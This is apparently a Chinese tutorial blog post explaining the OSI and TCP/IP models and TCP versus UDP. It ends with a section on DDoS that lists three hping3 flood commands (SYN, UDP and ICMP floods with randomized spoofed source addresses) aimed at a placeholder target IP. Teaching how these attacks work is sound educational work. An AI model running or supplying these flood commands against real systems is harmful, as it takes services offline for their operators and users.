一、网络通信模型的本质

网络通信模型是为了规范不同设备、不同网络之间的通信流程,将复杂的网络通信功
能拆分为“分层递进”的模块(层级),每一层仅完成特定的核心功能,通过层间接口协
作实现完整通信。
本质是对复杂网络“端到端通信“过程的标准化分层抽象框架。

二、OSI 七层参考模型(理论标准)

OSIOpen Systems Interconnection)模型是国际标准化组织(ISO)制定的开放式 系统互联参考模型,是网络通信的理论基础,将网络通信功能分为 7 个层级,从下到 上依次为:物理层、数据链路层、网络层、传输层、会话层、表示层、应用层。
网络模型究竟是干什么呢?简而言之就是进行“数据封装”和“数据解封”的过程。

三、TCP/IP 四层模型(实际应用标准)

TCP/IP 模型是互联网的实际通信标准(由美国国防部研发),将 OSI 七层模型简化为
4 个层级,更贴合实际工程应用,是目前所有网络设备遵循的核心规范。

四、传输层核心协议:TCP UDP

TCP(传输控制协议)和 UDP(用户数据报协议)是 TCP/IP 模型传输层的两大核心
协议,分别对应可靠传输快速传输两种需求,无绝对优劣,按需选择。
1. TCP 协议:可靠的面向连接协议
核心特点
面向连接:通信前必须通过三次握手建立连接,通信结束后通过四次挥手释放
连接;
可靠传输:通过序列号、确认应答、重传机制、流量控制、拥塞控制,确保数据
无丢失、无重复、按序到达;
缺点:传输效率较低,延迟较高(因连接建立、确认应答等机制)。
关键机制:三次握手与四次挥手
三次握手(建立连接):客户端发送同步报文(SYN请求连接;服务器
回复同步+确认报文(SYN+ACK客户端回复确认报文(ACK,连接建立;
四次挥手(释放连接):客户端发送结束报文(FIN请求释放;服务器回复确认报文(ACK服务器发送结束报文(FIN客户端回复确认报 文(ACK,连接释放(需等待超时确保数据传输完成)。
适用场景:对可靠性要求高、可接受延迟的场景,如网页访问(HTTP/HTTPS)、文件传输(FTP)、邮件发送(SMTP)、数据库连接(MySQL)。
2. UDP 协议:快速的无连接协议
核心特点
无连接:通信前无需建立连接,直接发送数据,通信结束后无需释放连接;
不可靠传输:无序列号、无确认应答、无重传机制,数据可能丢失、重复、乱序到达;
优点:传输效率高,延迟低,开销小(无连接建立、确认等机制)。
适用场景:对实时性要求高、可容忍少量数据丢失的场景,如视频直播、语音通话、网络游戏

五、DDDoS攻击(Distributed Denial of Service)

分布式拒绝服务攻击)是一种常见的网络攻击方式,旨在使目标服务器无法正常提供服务。

在DDoS攻击中,攻击者会控制大量的计算机或设备,向目标服务器发送大量的请求,使其超出承受范围,导致服务器无法正常响应请求,从而使服务不可用。(饱和打击)

DDos攻击方式

SYN FloodSYN 洪水)攻击 :hping3 --flood -S --rand-source -p 80 <目标 IP 地址>

UDP 协议攻击:hping3 --flood --udp --rand-source -p 80 <目标 IP 地址>

ICMP 协议攻击:hping3 --flood --icmp--rand-source -d 1000 <目标 IP 地址>

Logo

AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。

更多推荐